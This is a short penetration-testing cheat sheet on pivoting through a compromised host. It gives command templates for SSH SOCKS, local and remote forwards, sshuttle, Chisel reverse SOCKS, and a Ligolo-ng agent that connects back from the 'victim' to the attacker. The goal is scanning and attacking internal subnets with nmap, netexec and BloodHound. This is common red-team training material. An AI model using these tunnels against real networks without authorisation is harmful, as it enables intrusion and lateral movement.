A foothold is a doorway, not the destination. Pivoting routes your tools through the compromised host so you can scan and attack the internal segments behind it. Master one SSH trick, one modern tunneler (Ligolo-ng or Chisel), and proxychains, and no subnet stays out of reach.
SSH dynamic forward: a SOCKS proxy through the target (the workhorse)
ssh -D 1080 -N <USER>@<TARGET-IP>
Point proxychains at it (/etc/proxychains4.conf -> socks5 127.0.0.1 1080), then:
proxychains nmap -sT -Pn <INTERNAL-IP>
SSH local forward: pull one internal service to your box
ssh -L 3306:<INTERNAL-IP>:3306 -N <USER>@<TARGET-IP>
SSH remote forward: push your service to the target when it cannot reach you
ssh -R 8000:localhost:8000 -N <USER>@<TARGET-IP>
sshuttle: a VPN over SSH, routes a whole subnet with no proxychains
sshuttle -r <USER>@<TARGET-IP> <RANGE>
Chisel: SOCKS over HTTP when you only have a web foothold and no SSH
chisel server -p <LPORT> --reverse
./chisel client <YOUR-IP>:<LPORT> R:socks
Ligolo-ng: the modern favorite, a real tun interface (no proxychains)
sudo ip tuntap add user $(whoami) mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert
On the victim, connect the agent back to you:
./agent -connect <YOUR-IP>:11601 -ignore-cert
In the ligolo console: session, then add a route for <RANGE> to the ligolo interface
SSH dynamic forward + proxychains for a quick SOCKS, or Ligolo-ng when you want a real interface. Both let BloodHound, netexec, and nmap reach the internal network as if you were sitting on it.